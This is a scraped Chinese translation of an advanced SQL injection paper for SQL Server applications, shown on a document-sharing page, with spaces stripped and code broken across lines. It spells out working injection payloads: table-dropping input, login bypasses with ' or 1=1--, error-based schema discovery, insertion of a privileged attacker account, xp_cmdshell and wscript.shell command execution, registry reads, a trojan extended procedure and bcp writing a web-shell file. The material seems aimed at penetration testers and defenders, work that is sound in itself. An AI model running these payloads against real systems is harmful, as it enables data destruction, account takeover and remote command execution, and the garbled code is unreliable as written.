SQL Server应用程序高级SQL注入上Word文件下载.docx
- 文档编号:3202727
- 上传时间:2023-05-01
- 格式:DOCX
- 页数:18
- 大小:27.43KB
SQL Server应用程序高级SQL注入上Word文件下载.docx
《SQL Server应用程序高级SQL注入上Word文件下载.docx》由会员分享,可在线阅读,更多相关《SQL Server应用程序高级SQL注入上Word文件下载.docx(18页珍藏版)》请在冰点文库上搜索。
,但是失败。
如果攻击者提供特别的输入如:
;
droptableauthors—
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。
这是可行的,但是用这种方法做解决方法会存在几个困难。
第一,并不是所有用户提供的数据都是字符串。
如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Selectid,forename,surnamefromauthorswhereid=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;
在数据库管理系统JET引擎中,数据可以被使用'
#'
限定。
第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
以下为引用的内容:
<HTML>
<HEAD>
<TITLE>
LoginPage</TITLE>
</HEAD>
<BODYbgcolor='
000000'
text='
cccccc'
>
<FONTFace='
tahoma'
color='
<CENTER>
<H1>
Login</H1>
<FORMaction='
process_loginasp'
method=post>
<TABLE>
<TR>
<TD>
Username:
</TD>
<INPUTtype=textname=usernamesize=100width=100>
</TR>
Password:
<INPUTtype=passwordname=passwordsize=100withd=100>
</TABLE>
<INPUTtype=submitvalue='
Submit'
<INPUTtype=resetvalue='
Reset'
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
ffffff'
<STYLE>
p{font-size=20pt!
important}
font{font-size=20pt!
h1{font-size=64pt!
</STYLE>
<%@LANGUAGE=JScript%>
<%
functiontrace(str){
if(Request.form("
debug"
)=="
true"
)
Response.write(str);
}
functionLogin(cn){
varusername;
varpassword;
username=Request.form("
username"
);
password=Request.form("
password"
varrso=Server.CreateObject("
ADODB.Recordset"
varsql="
select*fromuserswhereusername='
"
+username+"
'
andpassword='
+password+"
trace("
query:
"
+sql);
rso.open(sql,cn);
if(rso.EOF){
rso.close();
%>
cc0000'
<BR>
<BR>
ACCESSDENIED</CENTER>
</H1>
<%Response.endreturn;
}
else{
Session("
)="
+rso("
00cc00'
<CENTER>
ACCESSGRANTED<BR>
Welcome,<%Response.write(rso("
Username"
));
Response.write("
);
Response.end}
functionMain(){//Setupconnection
varusername
varcn=Server.createobject("
ADODB.Connection"
cn.connectiontimeout=20;
cn.open("
localserver"
"
sa"
username=newString(Request.form("
));
if(username.length>
0){
Login(cn);
cn.close();
Main();
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Varsql="
select*fromuserswhereusername='
+username+"
andpassword='
+password+"
如果用户输入的信息如下:
droptableusers—
数据库中表users将被删除,拒绝任何用户进入应用程序。
—'
符号在Transact-SQL中表示忽略'
以后的语句,'
符号表示一个查询的结束和另一个查询的开始。
位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
admin'
—
攻击者可以使用users表中第一个用户,输入如下:
or1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
unionselect1,'
fictional_user'
'
some_password'
1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是DavidLitchfield首先发现的,并且通过作者渗透测试的;
后来David写了一份文档,后来作者参考了这份文档。
这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。
例如我们可以使用如下语句创建user表:
以下为引用的内容:
Createtalbeusers(
Idint,
Usernamevarchar(255),
Passwordvarchar(255),
Privsint
)
然后将下面的用户插入到users表中:
Insertintousersvalues(0,'
r00tr0x!
0xffff)
guest'
0x0000)
chris'
password'
0x00ff)
fred'
sesame'
0x00ff)
如果我们的攻击者想插入一个自己的用户。
在不知道users表结构的情况下,他不可能成功。
即使他比较幸运,至于privs字段不清楚。
攻击者可能插入一个'
1'
,这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
having1=1—
这样将会出现如下错误:
MicrosoftOLEDBProviderforODBCDriverserror'
80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'
users.id'
isinvalidintheselectlistbecauseitisnotcontainedin
anaggregatefunctionandthereisnoGROUPBYclause.
/process_login.asp,line35
因此现在攻击者知道了表的名字和第一个地段的名字。
他们仍然可以通过把字段放到groupby子句只能感去找到一个一个字段名,如下:
groupbyusers.idhaving1=1—
出现的错误如下:
[Microsoft][ODBCSQLServerDriver][SQLServer]Column
users.username'
isinvalidintheselectlistbecause
itisnotcontainedineitheranaggregatefunctionortheGROUPBYclause.
最终攻击者得到了username字段后:
‘groupbyusers.id,users.username,users.password,users.privshaving1=1—
这句话并不产生错误,相当于:
因此攻击者现在知道查询涉及users表,按顺序使用列'
id,username,password,privs'
。
能够确定每个列的类型是非常有用的。
这可以通过使用类型转化来实现,例如:
unionselectsum(username)fromusers—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。
尝试去计算sum会得到以下消息:
80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]
Thesumoraverageaggregateoperationcannot
takeavarchardatatypeasanargument.
这告诉了我们'
username'
字段的类型是varchar。
如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
unionselectsum(id)fromusers—
[Microsoft][ODBCSQLServerDriver][SQLServer]Allqueries
inanSQLstatementcontainingaUNIONoperatormusthave
anequalnumberofexpressionsintheirtargetlists.
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
insertintousersvalues(666,'
attacker'
foobar'
0xffff)—
这种技术的潜在影响不仅仅是这些。
攻击者可以利用这些错误消息显示环境信息或数据库。
通过运行一列一定格式的字符串可以获得标准的错误消息:
select*frommaster..sysmessages
SQLServer应用程序中的高级SQL注入
(2)
[url=Server应用程序中的高级SQL注入
(1)[/color][/url]
SQLServer应用程序中的高级SQL注入
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。
例如:
Execmaster..xp_cmdshell’dir’
将获得SQLSERVER进程的当前工作目录中的目录列表。
Execmaster..xp_cmdshell’netuser’
将提供服务器上所有用户的列表。
当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
execxp_regreadHKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’,’nullsessionshares’
这将确定什么样的会话连接在服务器上是可以使用的
execxp_regenumvaluesHKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
这将显示服务器上所有SNMP团体配置。
在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
execmaster..xp_servicecontrol’start’,’schedule’
execmaster..xp_servicecontrol’start’,’server’
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia显示机器上有用的驱动器
Xp_dirtree允许获得一个目录树
Xp_enumdsn列举服务器上的ODBC数据源
Xp_loginconfigRevealsinformationaboutthesecuritymodeoftheserver
Xp_makecab允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains列举服务器可以进入的域
Xp_terminate_process提供进程的进程ID,终止此进程
[LinkedServers]
SQLSERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。
这个链接存放在master.sysservers表中。
如果一个连接的服务器已经被设置成使用’sp_addlinkedsrvlogin’过程,当前可信的连接不用登陆就可以访问到服务器。
’openquery’函数允许查询脱离服务器也可以执行。
[Customextendedstoredprocedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。
使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc’xp_webserver’,’c:
\temp\xp_foo.dll’
在正常的方式下,这个扩展存储过程可以被运行:
execxp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc’xp_webserver’
[将文本文件导入表]
使用’bulkinsert’语法可以将一个文本文件插入到一个临时表中。
简单地创建这个表:
createtablefoo(linevarchar(8000))
然后执行bulkinsert操作把文件中的数据插入到表中,如:
bulkinsertfoofrom’c:
\inetpub\wwwroot\process_login.asp’
可以使用上述的错误消息技术,或者使用’union’选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。
这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用’bulkinsert’的相对技术可以很容易建立任意的文本文件。
不幸的是这需要命令行工具。
’bcp’,即’bulkcopyprogram’
既然bcp可以从SQL服务进程外访问数据库,它需要登陆。
这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp"
select*fromtext..foo"
queryoutc:
\inetpub\wwwroot\runcommand.asp–c-Slocalhost–Usa–Pfoobar
’S’参数为执行查询的服务器,’U’参数为用户名,’P’参数为密码,这里为’foobar’
[ActiveXautomationscriptsinSQLSERVER]
SQLSERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。
这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或javascript书写,他们创建自动执行对象并和它们交互。
一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。
为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用’wscript.shell’对象建立了一个记事本的实例:
wscript.shellexample
declare@oint
execsp_oacreate’wscript.shell’,@oout
execsp_oamethod@o,’run’,NULL,’notepad.exe’
我们可以通过指定在用户名后面来执行它:
’;
declare@ointexecsp_oacreate’wscript.shell’,@ooutexecsp_oamethod@o,’run’,NULL
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SQL Server应用程序高级SQL注入上 Server 应用程序 高级 注入
![提示](https://static.bingdoc.com/images/bang_tan.gif)